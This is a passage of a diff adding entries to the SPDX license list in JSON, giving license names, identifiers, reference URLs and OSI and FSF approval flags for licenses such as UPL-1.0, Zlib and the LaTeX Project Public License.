+ "detailsUrl": "https://spdx.org/licenses/UPL-1.0.json",
+ "referenceNumber": 10,
+ "name": "Universal Permissive License v1.0",
+ "licenseId": "UPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/UPL"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/wxWindows.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/wxWindows.json",
+ "referenceNumber": 11,
+ "name": "wxWindows Library License",
+ "licenseId": "wxWindows",
+ "seeAlso": [
+ "https://opensource.org/licenses/WXwindows"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Caldera.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Caldera.json",
+ "referenceNumber": 12,
+ "name": "Caldera License",
+ "licenseId": "Caldera",
+ "seeAlso": [
+ "http://www.lemis.com/grog/UNIX/ancient-source-all.pdf"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zend-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zend-2.0.json",
+ "referenceNumber": 13,
+ "name": "Zend License v2.0",
+ "licenseId": "Zend-2.0",
+ "seeAlso": [
+ "https://web.archive.org/web/20130517195954/http://www.zend.com/license/2_00.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CUA-OPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CUA-OPL-1.0.json",
+ "referenceNumber": 14,
+ "name": "CUA Office Public License v1.0",
+ "licenseId": "CUA-OPL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CUA-OPL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/JPNIC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JPNIC.json",
+ "referenceNumber": 15,
+ "name": "Japan Network Information Center License",
+ "licenseId": "JPNIC",
+ "seeAlso": [
+ "https://gitlab.isc.org/isc-projects/bind9/blob/master/COPYRIGHT#L366"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SAX-PD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SAX-PD.json",
+ "referenceNumber": 16,
+ "name": "Sax Public Domain Notice",
+ "licenseId": "SAX-PD",
+ "seeAlso": [
+ "http://www.saxproject.org/copying.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-2.5.json",
+ "referenceNumber": 17,
+ "name": "Creative Commons Attribution No Derivatives 2.5 Generic",
+ "licenseId": "CC-BY-ND-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/eGenix.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/eGenix.json",
+ "referenceNumber": 18,
+ "name": "eGenix.com Public License 1.1.0",
+ "licenseId": "eGenix",
+ "seeAlso": [
+ "http://www.egenix.com/products/eGenix.com-Public-License-1.1.0.pdf",
+ "https://fedoraproject.org/wiki/Licensing/eGenix.com_Public_License_1.1.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPLLR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPLLR.json",
+ "referenceNumber": 19,
+ "name": "Lesser General Public License For Linguistic Resources",
+ "licenseId": "LGPLLR",
+ "seeAlso": [
+ "http://www-igm.univ-mlv.fr/~unitex/lgpllr.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.2.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.2.2.json",
+ "referenceNumber": 20,
+ "name": "Open LDAP Public License 2.2.2",
+ "licenseId": "OLDAP-2.2.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003ddf2cc1e21eb7c160695f5b7cffd6296c151ba188"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-ND-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-ND-3.0-DE.json",
+ "referenceNumber": 21,
+ "name": "Creative Commons Attribution No Derivatives 3.0 Germany",
+ "licenseId": "CC-BY-ND-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nd/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/IPA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/IPA.json",
+ "referenceNumber": 22,
+ "name": "IPA Font License",
+ "licenseId": "IPA",
+ "seeAlso": [
+ "https://opensource.org/licenses/IPA"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NCSA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NCSA.json",
+ "referenceNumber": 23,
+ "name": "University of Illinois/NCSA Open Source License",
+ "licenseId": "NCSA",
+ "seeAlso": [
+ "http://otm.illinois.edu/uiuc_openSource",
+ "https://opensource.org/licenses/NCSA"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/W3C.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/W3C.json",
+ "referenceNumber": 24,
+ "name": "W3C Software Notice and License (2002-12-31)",
+ "licenseId": "W3C",
+ "seeAlso": [
+ "http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231.html",
+ "https://opensource.org/licenses/W3C"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Adobe-2006.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Adobe-2006.json",
+ "referenceNumber": 25,
+ "name": "Adobe Systems Incorporated Source Code License Agreement",
+ "licenseId": "Adobe-2006",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/AdobeLicense"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Net-SNMP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Net-SNMP.json",
+ "referenceNumber": 26,
+ "name": "Net-SNMP License",
+ "licenseId": "Net-SNMP",
+ "seeAlso": [
+ "http://net-snmp.sourceforge.net/about/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-4.0.json",
+ "referenceNumber": 27,
+ "name": "Creative Commons Attribution Share Alike 4.0 International",
+ "licenseId": "CC-BY-SA-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/4.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/YPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/YPL-1.0.json",
+ "referenceNumber": 28,
+ "name": "Yahoo! Public License v1.0",
+ "licenseId": "YPL-1.0",
+ "seeAlso": [
+ "http://www.zimbra.com/license/yahoo_public_license_1.0.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Nunit.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/Nunit.json",
+ "referenceNumber": 29,
+ "name": "Nunit License",
+ "licenseId": "Nunit",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Nunit"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MITNFA.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MITNFA.json",
+ "referenceNumber": 30,
+ "name": "MIT +no-false-attribs license",
+ "licenseId": "MITNFA",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/MITNFA"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PHP-3.01.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PHP-3.01.json",
+ "referenceNumber": 31,
+ "name": "PHP License v3.01",
+ "licenseId": "PHP-3.01",
+ "seeAlso": [
+ "http://www.php.net/license/3_01.txt"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-Source-Code.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-Source-Code.json",
+ "referenceNumber": 32,
+ "name": "BSD Source Code Attribution",
+ "licenseId": "BSD-Source-Code",
+ "seeAlso": [
+ "https://github.com/robbiehanson/CocoaHTTPServer/blob/master/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.5.json",
+ "referenceNumber": 33,
+ "name": "Creative Commons Attribution Share Alike 2.5 Generic",
+ "licenseId": "CC-BY-SA-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Motosoto.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Motosoto.json",
+ "referenceNumber": 34,
+ "name": "Motosoto License",
+ "licenseId": "Motosoto",
+ "seeAlso": [
+ "https://opensource.org/licenses/Motosoto"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-1.1.json",
+ "referenceNumber": 35,
+ "name": "Open Software License 1.1",
+ "licenseId": "OSL-1.1",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/OSL1.1"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NGPL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NGPL.json",
+ "referenceNumber": 36,
+ "name": "Nethack General Public License",
+ "licenseId": "NGPL",
+ "seeAlso": [
+ "https://opensource.org/licenses/NGPL"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-2.5-AU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-2.5-AU.json",
+ "referenceNumber": 37,
+ "name": "Creative Commons Attribution 2.5 Australia",
+ "licenseId": "CC-BY-2.5-AU",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/2.5/au/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unicode-TOU.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-TOU.json",
+ "referenceNumber": 38,
+ "name": "Unicode Terms of Use",
+ "licenseId": "Unicode-TOU",
+ "seeAlso": [
+ "http://www.unicode.org/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-License.json",
+ "referenceNumber": 39,
+ "name": "BSD 3-Clause No Nuclear License",
+ "licenseId": "BSD-3-Clause-No-Nuclear-License",
+ "seeAlso": [
+ "http://download.oracle.com/otn-pub/java/licenses/bsd.txt?AuthParam\u003d1467140197_43d516ce1776bd08a58235a7785be1cc"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OPUBL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OPUBL-1.0.json",
+ "referenceNumber": 40,
+ "name": "Open Publication License v1.0",
+ "licenseId": "OPUBL-1.0",
+ "seeAlso": [
+ "http://opencontent.org/openpub/",
+ "https://www.debian.org/opl",
+ "https://www.ctan.org/license/opl"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-UK.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-UK.json",
+ "referenceNumber": 41,
+ "name": "Creative Commons Attribution Non Commercial Share Alike 2.0 England and Wales",
+ "licenseId": "CC-BY-NC-SA-2.0-UK",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/uk/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NLOD-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NLOD-2.0.json",
+ "referenceNumber": 42,
+ "name": "Norwegian Licence for Open Government Data (NLOD) 2.0",
+ "licenseId": "NLOD-2.0",
+ "seeAlso": [
+ "http://data.norge.no/nlod/en/2.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/gnuplot.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/gnuplot.json",
+ "referenceNumber": 43,
+ "name": "gnuplot License",
+ "licenseId": "gnuplot",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Gnuplot"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPICS.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPICS.json",
+ "referenceNumber": 44,
+ "name": "EPICS Open License",
+ "licenseId": "EPICS",
+ "seeAlso": [
+ "https://epics.anl.gov/license/open.php"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Info-ZIP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Info-ZIP.json",
+ "referenceNumber": 45,
+ "name": "Info-ZIP License",
+ "licenseId": "Info-ZIP",
+ "seeAlso": [
+ "http://www.info-zip.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.0.json",
+ "referenceNumber": 46,
+ "name": "Open LDAP Public License v2.0 (or possibly 2.0A and 2.0B)",
+ "licenseId": "OLDAP-2.0",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003dcbf50f4e1185a21abd4c0a54d3f4341fe28f36ea"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CERN-OHL-P-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CERN-OHL-P-2.0.json",
+ "referenceNumber": 47,
+ "name": "CERN Open Hardware Licence Version 2 - Permissive",
+ "licenseId": "CERN-OHL-P-2.0",
+ "seeAlso": [
+ "https://www.ohwr.org/project/cernohl/wikis/Documents/CERN-OHL-version-2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-Warranty.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-No-Nuclear-Warranty.json",
+ "referenceNumber": 48,
+ "name": "BSD 3-Clause No Nuclear Warranty",
+ "licenseId": "BSD-3-Clause-No-Nuclear-Warranty",
+ "seeAlso": [
+ "https://jogamp.org/git/?p\u003dgluegen.git;a\u003dblob_plain;f\u003dLICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/AML.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/AML.json",
+ "referenceNumber": 49,
+ "name": "Apple MIT License",
+ "licenseId": "AML",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Apple_MIT_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MulanPSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MulanPSL-1.0.json",
+ "referenceNumber": 50,
+ "name": "Mulan Permissive Software License, Version 1",
+ "licenseId": "MulanPSL-1.0",
+ "seeAlso": [
+ "https://license.coscl.org.cn/MulanPSL/",
+ "https://github.com/yuwenlong/longphp/blob/25dfb70cc2a466dc4bb55ba30901cbce08d164b5/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Multics.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Multics.json",
+ "referenceNumber": 51,
+ "name": "Multics License",
+ "licenseId": "Multics",
+ "seeAlso": [
+ "https://opensource.org/licenses/Multics"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/VSL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/VSL-1.0.json",
+ "referenceNumber": 52,
+ "name": "Vovida Software License v1.0",
+ "licenseId": "VSL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/VSL-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/RSA-MD.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RSA-MD.json",
+ "referenceNumber": 53,
+ "name": "RSA Message-Digest License",
+ "licenseId": "RSA-MD",
+ "seeAlso": [
+ "http://www.faqs.org/rfcs/rfc1321.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-PDDC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-PDDC.json",
+ "referenceNumber": 54,
+ "name": "Creative Commons Public Domain Dedication and Certification",
+ "licenseId": "CC-PDDC",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/publicdomain/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-SA-2.1-JP.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-SA-2.1-JP.json",
+ "referenceNumber": 55,
+ "name": "Creative Commons Attribution Share Alike 2.1 Japan",
+ "licenseId": "CC-BY-SA-2.1-JP",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-sa/2.1/jp/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.2.json",
+ "referenceNumber": 56,
+ "name": "LaTeX Project Public License v1.2",
+ "licenseId": "LPPL-1.2",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-2.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Spencer-94.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Spencer-94.json",
+ "referenceNumber": 57,
+ "name": "Spencer License 94",
+ "licenseId": "Spencer-94",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Henry_Spencer_Reg-Ex_Library_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.2.json",
+ "referenceNumber": 58,
+ "name": "Open LDAP Public License v1.2",
+ "licenseId": "OLDAP-1.2",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d42b0383c50c299977b5893ee695cf4e486fb0dc7"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/O-UDA-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/O-UDA-1.0.json",
+ "referenceNumber": 59,
+ "name": "Open Use of Data Agreement v1.0",
+ "licenseId": "O-UDA-1.0",
+ "seeAlso": [
+ "https://github.com/microsoft/Open-Use-of-Data-Agreement/blob/v1.0/O-UDA-1.0.md",
+ "https://cdla.dev/open-use-of-data-agreement-v1-0/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.7.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.7.json",
+ "referenceNumber": 60,
+ "name": "Open LDAP Public License v2.7",
+ "licenseId": "OLDAP-2.7",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d47c2415c1df81556eeb39be6cad458ef87c534a2"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Glulxe.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Glulxe.json",
+ "referenceNumber": 61,
+ "name": "Glulxe License",
+ "licenseId": "Glulxe",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Glulxe"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/iMatix.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/iMatix.json",
+ "referenceNumber": 62,
+ "name": "iMatix Standard Function Library Agreement",
+ "licenseId": "iMatix",
+ "seeAlso": [
+ "http://legacy.imatix.com/html/sfl/sfl4.htm#license"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/TAPR-OHL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/TAPR-OHL-1.0.json",
+ "referenceNumber": 63,
+ "name": "TAPR Open Hardware License v1.0",
+ "licenseId": "TAPR-OHL-1.0",
+ "seeAlso": [
+ "https://www.tapr.org/OHL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NBPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NBPL-1.0.json",
+ "referenceNumber": 64,
+ "name": "Net Boolean Public License v1",
+ "licenseId": "NBPL-1.0",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d37b4b3f6cc4bf34e1d3dec61e69914b9819d8894"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-R-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-R-1.1.json",
+ "referenceNumber": 65,
+ "name": "Licence Libre du Québec – Réciprocité version 1.1",
+ "licenseId": "LiLiQ-R-1.1",
+ "seeAlso": [
+ "https://www.forge.gouv.qc.ca/participez/licence-logicielle/licence-libre-du-quebec-liliq-en-francais/licence-libre-du-quebec-reciprocite-liliq-r-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-R-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Noweb.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Noweb.json",
+ "referenceNumber": 66,
+ "name": "Noweb License",
+ "licenseId": "Noweb",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Noweb"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC0-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC0-1.0.json",
+ "referenceNumber": 67,
+ "name": "Creative Commons Zero v1.0 Universal",
+ "licenseId": "CC0-1.0",
+ "seeAlso": [
+ "https://creativecommons.org/publicdomain/zero/1.0/legalcode"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-Protection.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-Protection.json",
+ "referenceNumber": 68,
+ "name": "BSD Protection License",
+ "licenseId": "BSD-Protection",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/BSD_Protection_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-2.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-2.5.json",
+ "referenceNumber": 69,
+ "name": "Creative Commons Attribution Non Commercial 2.5 Generic",
+ "licenseId": "CC-BY-NC-2.5",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/2.5/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zlib.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zlib.json",
+ "referenceNumber": 70,
+ "name": "zlib License",
+ "licenseId": "Zlib",
+ "seeAlso": [
+ "http://www.zlib.net/zlib_license.html",
+ "https://opensource.org/licenses/Zlib"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-invariants-or-later.json",
+ "referenceNumber": 71,
+ "name": "GNU Free Documentation License v1.3 or later - invariants",
+ "licenseId": "GFDL-1.3-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-3.0-AT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-3.0-AT.json",
+ "referenceNumber": 72,
+ "name": "Creative Commons Attribution 3.0 Austria",
+ "licenseId": "CC-BY-3.0-AT",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by/3.0/at/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.3c.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.3c.json",
+ "referenceNumber": 73,
+ "name": "LaTeX Project Public License v1.3c",
+ "licenseId": "LPPL-1.3c",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-3c.txt",
+ "https://opensource.org/licenses/LPPL-1.3c"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPL-1.0.json",
+ "referenceNumber": 74,
+ "name": "Eclipse Public License 1.0",
+ "licenseId": "EPL-1.0",
+ "seeAlso": [
+ "http://www.eclipse.org/legal/epl-v10.html",
+ "https://opensource.org/licenses/EPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-invariants-or-later.json",
+ "referenceNumber": 75,
+ "name": "GNU Free Documentation License v1.1 or later - invariants",
+ "licenseId": "GFDL-1.1-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ANTLR-PD-fallback.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ANTLR-PD-fallback.json",
+ "referenceNumber": 76,
+ "name": "ANTLR Software Rights Notice with license fallback",
+ "licenseId": "ANTLR-PD-fallback",
+ "seeAlso": [
+ "http://www.antlr2.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.4.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.4.json",
+ "referenceNumber": 77,
+ "name": "Open LDAP Public License v2.4",
+ "licenseId": "OLDAP-2.4",
+ "seeAlso": [
